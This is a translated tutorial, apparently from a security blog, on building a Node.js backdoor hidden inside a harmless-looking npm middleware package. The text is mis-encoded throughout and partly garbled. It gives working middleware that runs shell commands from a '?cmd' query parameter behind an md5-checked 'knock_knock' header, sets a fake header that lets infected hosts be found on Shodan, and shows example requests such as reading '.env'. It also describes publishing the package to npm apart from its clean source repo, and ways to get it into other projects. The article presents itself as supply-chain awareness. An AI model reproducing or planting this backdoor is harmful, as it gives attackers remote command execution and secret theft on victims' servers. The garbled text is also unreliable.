рдЕрдкрдиреЗ рджреБрд╢реНрдорди рдХреЛ рдЬрд╛рдиреЗрдВ: рдПрдХ Node.js рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВ

рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдмреИрдХрдбреЛрд░, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХрд┐рд╕реА рднреА рдбреЗрд╡рд▓рдкрд░ рдХреЗ рдмреБрд░реЗ рд╕рдкрдиреЗ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рд╡рд░реНрддрдорд╛рди рдореЗрдВ, npm рдкрд░ 1.2 рдорд┐рд▓рд┐рдпрди рд╕реЗ рдЕрдзрд┐рдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреИрдХреЗрдЬ рд╣реИрдВред рдкрд┐рдЫрд▓реЗ рддреАрди рд╡рд░реНрд╖реЛрдВ рдореЗрдВ, рдкрд░рд┐рдпреЛрдЬрдирд╛ рд╡реНрдпрд╕рдиреЛрдВ рд╕рд╛рдЗрдмрд░ рдЕрдкрд░рд╛рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрджрд░реНрд╢ рд▓рдХреНрд╖реНрдп рдмрди рдЧрдпрд╛ рд╣реИред рдПрдирдкреАрдПрдо рдкрд╛рд░рд┐рд╕реНрдерд┐рддрд┐рдХреА рддрдВрддреНрд░ рдЖрд╢реНрдЪрд░реНрдпрдЬрдирдХ рд░реВрдк рд╕реЗ рдирд╛рдЬреБрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╡рд┐рдХрд╛рд╕ рд╕рдореБрджрд╛рдп рд╕реБрд░рдХреНрд╖рд╛ рдкрд░ рдкреВрд░рд╛ рдзреНрдпрд╛рди рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рд╡рд┐рдЪрд╛рд░ рдХреЗ рд╕рд╛рдХреНрд╖реНрдп рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо npm рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде рдЯрд╛рдЗрдкреЛрд╕рдХреНрд╡рд╛рдЯрд┐рдВрдЧ рдФрд░ рдШрдЯрдирд╛ рдХреЛ рдпрд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ ред рд▓реЗрдЦ рдХреЗ рд▓реЗрдЦрдХ, рдЬрд┐рд╕рдХрд╛ рдЕрдиреБрд╡рд╛рдж рдЖрдЬ рд╣рдо рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЗ рд▓рд┐рдП рдмреИрдХрдбреЛрд░ рдмрдирд╛рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред





рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреНрдпрд╛ рд╣реИ?


рдорд╛рд▓рд╡реЗрдпрд░рдмрд╛рдЗрдЯреНрд╕ рд╕рдВрд╕рд╛рдзрди рдкрд░ рджрд┐рдП рдЧрдП "рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ" рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ : "рд╕рд╛рдЗрдмрд░ рд╕реНрдкреЗрд╕ рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ, рдПрдХ рдмреИрдХрдбреЛрд░ рдХреЛрдИ рднреА рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдЕрдзрд┐рдХреГрдд рдФрд░ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдорд╛рдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ," рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧред рд╕рд┐рд╕реНрдЯрдо рддрдХ рдРрд╕реА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╕рд╛рдЗрдмрд░ рдЕрдкрд░рд╛рдзреА рд╡реНрдпрдХреНрддрд┐рдЧрдд рдФрд░ рд╡рд┐рддреНрддреАрдп рдбреЗрдЯрд╛ рдЪреЛрд░реА рдХрд░рдиреЗ, рдЕрддрд┐рд░рд┐рдХреНрдд рдореИрд▓рд╡реЗрдпрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред тАЭ

рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдореЗрдВ рджреЛ рдореБрдЦреНрдп рднрд╛рдЧ рд╣реЛрддреЗ рд╣реИрдВ:

  1. рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдПрдХ рдЕрдЯреИрдХ рдХрд┐рдП рдЧрдП рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛
  2. рдПрдХ рдЦреБрд▓рд╛ рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдкрд░ рдХрдорд╛рдВрдб рднреЗрдЬрдиреЗ рдФрд░ рдПрдХ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдмреИрдХрдбреЛрд░ рдХреЛ рдХрдорд╛рдВрдб рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдпрд╣ рдХреБрдЫ рдХреНрд░рд┐рдпрд╛рдПрдВ рдХрд░рддрд╛ рд╣реИред рдпреЗ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдореВрд▓реНрдпрд╡рд╛рди рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░, рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕ рддрд░рд╣ рдХреЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕реЗ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдмрджрд▓рд╛рд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХрд▓ рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рд╕рдВрдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рд╣рдорд▓реЗ рдХрд╛ рдкреИрдорд╛рдирд╛ рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рдВрдХреНрд░рдорд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкрд╛рд╕ рд╣реИрдВред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо Node.js. рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦреЗ рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдЙрдкрд░реЛрдХреНрдд рд╣рдорд▓реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдПрдХ рд╕рд░рд▓реАрдХреГрдд рд╕рдВрд╕реНрдХрд░рдг рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ рдореЙрдбреНрдпреВрд▓ child_process рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗредред рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ HTTP рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдореИрдВ рдЖрдкрдХреЛ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХреНрд╕рдкреНрд░реЗрд╕ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреВрдВрдЧрд╛, рдЬреЛ рдЕрдкрдиреА рд╡рд┐рд╢рд╛рд▓ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬреЛ рдЪрд░реНрдЪрд╛ рдХреА рдЬрд╛рдПрдЧреА рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреБрдХреНрдд рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╣рдореЗрдВ child_process рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ?


рдорд╛рдирдХ Node.js рдореЙрдбреНрдпреВрд▓ child_processрдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдВ рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рд╣рдореЗрдВ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рджреЗрддрд╛ рд╣реИ ( stdinрдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдорд╛рдирдХ рдЗрдирдкреБрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЖрдирд╛ - ) pwdрдпрд╛ ping snyk.ioрдлрд┐рд░ рдЗрди рдХрдорд╛рдВрдб рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рдирд╛ (рдЖрдЙрдЯрдкреБрдЯ рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдЖрдЙрдЯрдкреБрдЯ рдЖрддрд╛ рд╣реИ - stdout) рдФрд░ рд╕рдВрднрд╡ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ (рд╕реЗ) рдзрд╛рд░рд╛ stderr) рдореБрдЦреНрдп рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд▓рд┐рдПред


рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рдорд╛рдирдХ рдЗрдирдкреБрдЯ, рдЖрдЙрдЯрдкреБрдЯ рдФрд░ рддреНрд░реБрдЯрд┐ рдкреНрд░рд╡рд╛рд╣ рдХреЗ рд╕рд╛рде рдЗрд╕рдХрд╛ рд╕рдВрдмрдВрдз, рдЬреЛ рдПрдХ рдЪрд▓ рд░рд╣реА рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╡рд╛рд╣ рдХреА рднреВрдорд┐рдХрд╛ рдирд┐рднрд╛рддреЗ

рд╣реИрдВред рдмрд╛рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВред рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рдиexecрд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдХреЙрд▓рдмреИрдХ рдХрд░рдиреЗ рдФрд░ рдЙрдкрдпреБрдХреНрдд рдмрдлрд╝рд░реНрд╕ рдореЗрдВ рдбрд╛рд▓ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдХрд┐stdoutрдФрд░рдзрд╛рд░рд╛рдУрдВ рдореЗрдВ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИstderrред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХреНрдпрд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛cat passwords.txtред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐execрд▓рдВрдмрд╛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПрдПрдХ рдлрд╝рдВрдХреНрд╢рдирд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИping snyk.ioред

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

HTTP рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдлрдВрдХреНрд╢рди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреИрд╕реЗ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░реЗрдВ?


рдореИрдВрдиреЗ рдПрдХреНрд╕рдкреНрд░реЗрд╕ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓, рдирд┐рд░реНрджреЛрд╖-рджрд┐рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░-рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдорд┐рдбрд▓рд╡реЗрдпрд░ рдкреИрдХреЗрдЬ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ ред рдпрд╣ рдЧреИрд░-рдХреНрд░реЛрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмреНрд░рд╛рдЙрд╣рд╛рдЬрд╝реА.рдХреЙрдо рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ ред рдореИрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд╢рд╛рдорд┐рд▓ рдХрд░реВрдВрдЧрд╛ред

рдкреИрдХреЗрдЬ рдХреЛрдб рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реЛрдЧрд╛:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЛ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдФрд░ рдПрдХреНрд╕рдкреНрд░реЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЙрд╕реА рддрд░рд╣ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдЬреИрд╕реЗ рд╡реЗ рдордзреНрдп рдкрд░рдд рдореЗрдВ рдХрд┐рд╕реА рднреА рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рднрд▓реЗ рд╣реА рдЗрд╕рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ Helmet, рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╣рдорд▓реЗ рд╕реЗ рдмрдЪрд╛рддрд╛ рдирд╣реАрдВ рд╣реИред

рдЧрд▓рдд рдордВрд╢рд╛ рд╡рд╛рд▓рд╛ рдХреЛрдб


рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрд╛рдлреА рд╕рд░рд▓ рд╣реИ:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ? рдЗрд╕ рдкреНрд░рд╢реНрди рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. тАФ . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


рдЕрдм рдЬрдм рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рддреИрдпрд╛рд░ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рд╕реЛрдЪрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рд╣реИ рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреИрдХреЗрдЬ рдХреЛ рдХреИрд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

рдкреИрдХреЗрдЬ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓рд╛ рдХрджрдо рд╣реИред рдореИрдВрдиреЗ рдкреИрдХреЗрдЬ browser-redirect@1.0.2рдХреЛ npm рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ ред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдЧрд┐рдЯрд╣рдм рднрдВрдбрд╛рд░ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ, рддреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЕрдкрдиреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ - рдорд╛рд╕реНрдЯрд░ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╢рд╛рдЦрд╛ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ рдФрд░ 1.0.2 рдЬрд╛рд░реА рдХрд░реЗрдВ ред рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ рдХрд┐ npm рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рдХреБрдЫ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рдХрд╛рд╢рд┐рдд рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рдХреЛрдб рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдБрдХрд┐ рдкреИрдХреЗрдЬ npm рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реБрдЖ рд╣реИ, рдлрд┐рд░ рднреА рдЗрд╕рдХреЗ рд╡рд┐рддрд░рдг рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдмрд╣реБрдд рдХрдо рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЛ рдЕрднреА рднреА рдЗрд╕реЗ рдЦреЛрдЬрдиреЗ рдФрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдПрдХ рдкреИрдХреЗрдЬ рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рджреВрд╕рд░рд╛ рддрд░реАрдХрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрдХреЗрдЬ рдХреЗ рдкреНрд░рдХрд╛рд╢рди рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЦрд╛рддреЗ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рд╡рд╣ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреИрдХреЗрдЬ рдХрд╛ рдПрдХ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдкреИрдХреЗрдЬ рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдореЗрдВ рдПрдХ рдмреИрдХрдбреЛрд░ рднреА рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧрд╛ред рдирддреАрдЬрддрди, рд╣рдо рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреИрдХреЗрдЬ рдХреЗ рдкреНрд░рддреНрдпрдХреНрд╖ рд╕рдорд╛рд╡реЗрд╢ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ ( рдШрдЯрдирд╛-рдзрд╛рд░рд╛ рдХреЗ рд╕рд╛рде рд╣реБрдИ рдШрдЯрдирд╛ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ )ред рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд▓реЙрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЙрдЪрд┐рдд рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдХреЗ рдХрд┐рд╕реА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рдкреАрдЖрд░ рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╣рд╛рдВ рдкрдврд╝реЗрдВ ред

